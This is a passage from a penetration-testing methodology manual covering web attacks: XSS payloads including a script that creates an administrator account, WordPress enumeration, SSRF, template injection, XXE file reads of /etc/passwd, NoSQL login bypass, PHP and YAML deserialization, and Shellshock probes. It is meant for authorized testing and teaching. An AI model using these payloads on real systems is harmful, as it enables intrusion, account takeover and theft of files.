HTML element body<svg onload=alert(document.domain)>Sanitization, CSP or non-executable render context
Double-quoted attribute" autofocus onfocus="alert(document.domain)Quote may be encoded or event attribute stripped
Existing JavaScript string';alert(document.domain);//Input may be JSON/string escaped or not reach executable script
URL-decoded parameterpercent-encode the context-matched payload in the requestDecode layer or client normalization differs

Image/SVG/HTML5 event variants are alternative parser entry points, not evidence of distinct vulnerabilities. Inspect the resulting DOM and browser console/CSP before adding encoding or filter-bypass complexity.

HttpOnly prevents JavaScript from reading that cookie, but same-origin XSS may still issue authenticated requests from the victim browser. Recreate a legitimate privileged workflow and obtain its anti-CSRF value first:

fetch('/admin/users/new')
  .then(r => r.text())
  .then(t => {
    const token = new DOMParser().parseFromString(t, 'text/html')
      .querySelector('input[name="csrf"]')?.value;
    return fetch('/admin/users', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: new URLSearchParams({username:'NEW_USER', password:'NEW_PASSWORD', role:'administrator', csrf:token})
    });
  });

Prerequisites: the payload is rendered by a suitably privileged victim, under the correct origin; the paths/fields come from captured normal behavior; CSP and application logic allow execution; the action is permitted in the victim session.

Verification: authenticate as NEW_USER and perform one administrator-only action. If application administration exposes a legitimate plugin/template/file-upload function, continue with web file handling and re-prove server execution.

Verify: Verify execution in the intended origin/role and independently verify any claimed action; reflection alone is not execution.

If it fails: Encoding, CSP, inert contexts or absent victim interaction can break the chain. Preserve browser execution separately from claimed account takeover.

10.4.10.1.38 Find: Use WordPress component evidence and authorized administration features

Confirm WordPress-specific routes/components and inspect the capabilities actually presented after an accepted application login.

curl -sk -i http://TARGET:PORT/wp-login.php

Recognize: Product/component and role clues guide two different paths: exact component exploit matching or a permitted administrative feature.

Validate next: Verify build/configuration for a CVE, or actual editor/plugin/file rights plus executable handling for a feature chain.

Use WordPress component evidence and authorized administration features.

10.4.10.1.39 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked

Recognition: WordPress-specific paths/assets, generator metadata, REST routes or wp-content. Prerequisite: correct scheme, host header and base path. Decisive output: core/plugin/theme identity or an authenticated capability that maps to a concrete prerequisite.

curl -skI https://HOSTNAME/
curl -sk https://HOSTNAME/robots.txt
curl -sk https://HOSTNAME/wp-json/ | head
curl -sk https://HOSTNAME/wp-content/
curl -sk https://HOSTNAME/wp-login.php -o wp-login.html

Inspect page source for /wp-content/plugins/NAME/, /wp-content/themes/NAME/, versioned assets and alternate base paths. A visible version is a candidate, not exploitability proof.

10.4.10.1.40 WPScan inventory
wpscan --url https://HOSTNAME/ --disable-tls-checks \
  --enumerate vp,vt,u --plugins-detection mixed \
  --output wpscan-HOSTNAME.txt

WPScan can be useful for component/user candidates, but verify every useful result manually. Vulnerability-database details may require an API token; never place a token in published notes or command history.

Validate one legitimately acquired credential and then enumerate the role/capabilities it actually grants.

curl -sk -c wp.cookies -b wp.cookies \
  --data-urlencode 'log=USER' \
  --data-urlencode 'pwd=PASSWORD' \
  --data-urlencode 'wp-submit=Log In' \
  --data-urlencode 'redirect_to=https://HOSTNAME/wp-admin/' \
  https://HOSTNAME/wp-login.php -D wp-login.headers

curl -sk -b wp.cookies https://HOSTNAME/wp-admin/ -o wp-admin.html

A redirect alone is inconclusive. Confirm an authenticated page marker and the actual role. Useful capabilities can include media upload, plugin/theme editing/installation, post editing or administrative account management; each requires separate server-side authorization and execution conditions.

XML-RPC exposure is a feature clue, not automatically a vulnerability:

curl -sk -X POST https://HOSTNAME/xmlrpc.php \
  -H 'Content-Type: text/xml' \
  --data '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'

Verify: Verify application role and any produced execution identity; component names alone do not establish a vulnerable version.

If it fails: Missing editor, insufficient role or read-only filesystem changes the branch. Use exact exploit prerequisite matching or credential reuse.

10.4.10.1.41 Find: Use server-side requests to inspect reachable internal behavior

Browse legitimate import/preview/webhook functions and identify a request whose normal input is a server-fetched URL.

curl -skG --data-urlencode 'url=http://LHOST:PORT/FETCH_CANARY' http://TARGET:PORT/FETCH_PATH

Recognize: A correlated receiver event supports server-side fetching; it does not establish internal access or response-readable SSRF.

Validate next: Separate client-side fetches, server source, destination/protocol restrictions and response visibility.

Use server-side requests to inspect reachable internal behavior.

10.4.10.1.42 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource

Recognition: URL import, webhook, image/PDF fetch, feed preview, link unfurling or callback validation. Prerequisite: a parameter that the server dereferences. Decisive output: a request observed at a controlled listener or a stable response difference tied to the destination.

Listener:

python3 -m http.server LPORT --bind 0.0.0.0

Hypothetical request replay:

curl -sk 'https://HOSTNAME/fetch?url=http://LHOST:LPORT/ssrf-marker'

Interpret the path explicitly:

browser/client -> vulnerable application -> requested URL

The application, not Kali, must resolve and reach the destination. A browser-side fetch, open redirect or reflected URL does not prove SSRF.

10.4.10.1.43 Internal destination and parser variations

10.4.10.1.44 Only after an external controlled callback proves server-side fetching

# Only after an external controlled callback proves server-side fetching
curl -sk 'https://HOSTNAME/fetch?url=http://127.0.0.1:PORT/'
curl -sk 'https://HOSTNAME/fetch?url=http://localhost:PORT/'

10.4.10.1.45 Preserve encoding when the URL is nested in form data

# Preserve encoding when the URL is nested in form data
curl -sk -X POST https://HOSTNAME/fetch \
  --data-urlencode 'url=http://127.0.0.1:PORT/'

Compare status, body marker, size and timing against a closed-port control. Internal HTTP content establishes reachability/read capability, not command execution.

Verify: Verify source/request evidence and the exact returned internal behavior; separate blind fetches from response-readable SSRF.

If it fails: No callback may be DNS, URL validation, egress or application behavior. Test the first failed boundary and avoid indiscriminate destination guessing.

10.4.10.1.46 Find: Prove server-side template evaluation and identify its engine

Inspect mapped previews, reports and server-rendered inputs for template syntax clues; preserve the normal request and literal control.

curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH

Recognize: A repeatable computed result supports evaluation in that syntax but does not identify the engine or command capability.

Validate next: Correlate error/source/framework clues and test a discriminating engine expression before selecting objects.

Prove server-side template evaluation and identify its engine.

10.4.10.1.47 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function

Use when controlled text appears inside a server-rendered template, email preview or report. Replay the real parameter and session. These are separate probes, not one universal payload:

10.4.10.1.48 Jinja/Twig-style expression probe

# Jinja/Twig-style expression probe
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH

10.4.10.1.49 A different delimiter family, only when the first is literal or errors suggest it

# A different delimiter family, only when the first is literal or errors suggest it
curl -sS -G --data-urlencode 'name=${7*7}' http://TARGET:PORT/PATH

10.4.10.1.50 Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation

# Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation
curl -sS -G --data-urlencode "name={{7*'7'}}" http://TARGET:PORT/PATH

Read: changed, repeatable computed output compared with a literal control supports evaluation. 49 alone does not identify the engine. Jinja commonly repeats the string; Twig commonly treats it numerically. Confirm the engine/version and exposed objects before selecting a file-read or command primitive. Literal reflection → inspect another template/input boundary; a syntax error alone does not prove an exploitable expression.

Sources: upstream 1.

Verify: Require repeatable computed output and corroborating engine clues; the value 49 alone does not identify the engine.

If it fails: Literal output rejects that syntax in the tested sink; a syntax error can be a parser clue but is not exploitation proof.

10.4.10.1.51 Find: Use an XML parser's external-entity behavior for bounded file read

Start from a valid XML request and place an external-entity reference in a field whose parsed value is returned.

curl -i -b cookies.txt -H 'Content-Type: application/xml' --data-binary @xxe.xml http://TARGET:PORT/PATH

Recognize: The server parser resolved the entity and read the selected file under its process identity.

Validate next: Repeat with a benign control and preserve the exact parser/content-type context.

Use an XML parser's external-entity behavior for bounded file read.

10.4.10.1.52 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. External entity or XInclude processing is enabled and the parser identity can read the selected file

Use a working XML request and put the entity reference in a field whose parsed value is returned. Retain the original wrapper, cookies and endpoint. Example body for an XML-compatible endpoint:

<?xml version="1.0"?>
<!DOCTYPE request [<!ENTITY probe SYSTEM "file:///etc/passwd">]>
<request><value>&probe;</value></request>
curl -i -b cookies.txt -H 'Content-Type: application/xml' \
  --data-binary @xxe.xml http://TARGET:PORT/PATH

Read: recognizable file content in the parsed field proves read access; echoing the submitted XML does not. Choose a platform-appropriate file; Windows can use file:///C:/Windows/win.ini. DTD rejection or unresolved entities → check the parser's actual configuration, not more traversal depth.

If the application builds XML around your input and processes XInclude, a separate condition can exist without control over the document's DOCTYPE:

<value xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</value>

A blind endpoint needs an observable parser/network effect before any exfiltration claim. Follow verified config/source reads into credential or application testing.

Sources: upstream 1.

Verify: Require recognizable file content or a uniquely correlated parser-side event, not an echoed request.

If it fails: DTD rejection, unresolved entities or no network effect rules out only that parser/configuration route; preserve the working XML baseline.

10.4.10.1.53 Find: Test structured NoSQL operator injection with identity controls

Capture the real JSON or nested-form login/search request and compare a wrong scalar, operator object and operator-as-string.

curl -i -c cookies.txt -H 'Content-Type: application/json' --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN

Recognize: A structured operator changed the query and produced an authenticated state for the named identity.

Validate next: Verify protected access and identity; ensure the framework parsed an object rather than a string.

Test structured NoSQL operator injection with identity controls.

10.4.10.1.54 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type

Use when a login/search accepts structured JSON or nested form parameters and evidence suggests a MongoDB-style query. Start with a normal failed request, then change one value's type.

10.4.10.1.55 A known username with an operator-valued password

# A known username with an operator-valued password
curl -i -c cookies.txt -H 'Content-Type: application/json' \
  --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN

10.4.10.1.56 Distinct context: a form parser that expands bracketed properties

# Distinct context: a form parser that expands bracketed properties
curl -i -c cookies.txt --data-urlencode 'username=USER' \
  --data-urlencode 'password[$ne]=x' http://TARGET:PORT/LOGIN

Read: compare against the same operator encoded as a plain string and against a known wrong password. Confirm the resulting identity through a protected route. A 200/login page or changed error is not authenticated access. Type validation, hashing the supplied password before querying, or removal of $ operators can rule out this route. Broader $ne username queries may select an unexpected first account; keep the intended identity explicit.

Sources: upstream 1.

Verify: Verify a protected action and resulting identity; a 200 status or cookie alone is not authentication.

If it fails: Schema/type validation, password pre-hashing or operator filtering can reject the route; do not broaden to an unintended first account.

10.4.10.1.57 Find: Match PHP deserialization gadgets to installed dependencies

Use source, composer metadata and request format to establish unsafe PHP deserialization and loaded gadget classes before generating bytes.

phpggc -l
phpggc -i Monolog/RCE1

Recognize: The sink and loaded class family supply a gadget-chain candidate; generation alone is not execution.

Validate next: Match exact version/vector, preserve serialized lengths/encoding and verify one benign effect.

Match PHP deserialization gadgets to installed dependencies.

10.4.10.1.58 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes

Use when a controlled serialized value reaches unsafe unserialize() and the required classes are loaded. Identify dependencies/builds from source or composer.lock first.

10.4.10.1.59 Inspect available families and the exact chain's version/vector requirements

# Inspect available families and the exact chain's version/vector requirements
phpggc -l
phpggc -i Monolog/RCE1

10.4.10.1.60 Example function-call gadget, only when that chain matches the application

# Example function-call gadget, only when that chain matches the application
phpggc -b Monolog/RCE1 system id > payload.b64

Read: base64 is a transport choice, not a bypass—the sink must decode it before deserialization. Preserve raw serialized lengths and binary bytes; use the encoding that the real request expects. A generated payload is not execution proof. Missing classes, rejected object types or a different dependency version → choose a matching chain or another primitive. Verify a benign effect before selecting a shell payload.

Sources: upstream 1.

Verify: Require the exact dependency/version, sink and attributable effect; successful payload generation proves none of these.

If it fails: Missing classes, allowed-class restrictions, length corruption or version mismatch defeats the chain; choose only an evidence-matched family.

10.4.10.1.61 Find: Validate unsafe YAML object construction

Inspect source/errors for the actual Python YAML loader before placing a constructor in the application's required schema.

!!python/object/apply:os.system ["id"]

Recognize: The application constructed the selected Python object under an unsafe loader.

Validate next: Confirm loader/version and an attributable effect in the real import/request path.

Validate unsafe YAML object construction.

10.4.10.1.62 Find: Test Shellshock only through a confirmed CGI-to-Bash chain

Confirm a CGI endpoint, Bash invocation and vulnerable component evidence before sending one bounded header probe.

curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' http://TARGET:PORT/cgi-bin/SCRIPT

Recognize: Command-derived identity output supports Shellshock execution under the CGI process.

Validate next: Separate command output from reflected header text and record the exact script/Bash context.

Test Shellshock only through a confirmed CGI-to-Bash chain.

10.4.10.1.63 Commands and use-case variants

Need: A reproducible application request and a controlled input or access-context comparison. HTTP-derived environment data reaches an affected Bash process and the selected command is available

Use when a confirmed CGI endpoint passes HTTP-derived environment variables into an affected Bash process. An arbitrary PHP/Java route or a Bash version string alone does not establish this chain.

# Bounded command-effect probe at the actual CGI script
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' \
  http://TARGET:PORT/cgi-bin/SCRIPT

Read: an attributable UID in the executed CGI response supports the effect; reflection of the header text does not. Header/CGI parsing errors require inspecting the request and script behavior. No effect → re-check the actual component and patch status before selecting another PoC. This is the CVE-2014-6271 family, not a generic command separator for every web input.

Sources: upstream 1.

Verify: Require command-derived output distinct from reflected header text and record the CGI identity.

If it fails: No effect can mean patched Bash, non-Bash CGI, header sanitization or wrong endpoint; re-check the component before another payload.

10.4.10.1.64 Find: Conditional: validate an out-of-band SQL request channel

After DBMS/query influence is established, document the absence of stable in-band channels and inspect whether the database platform exposes a permitted outbound lookup facility.

curl -sk -D - --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH

Recognize: Lack of an in-band channel motivates investigation but does not prove an outbound channel exists.

Validate next: Confirm the exact function, database/OS rights, allowed egress and a uniquely correlated controlled receiver event.

Conditional: validate an out-of-band SQL request channel.


Top of document · Reference home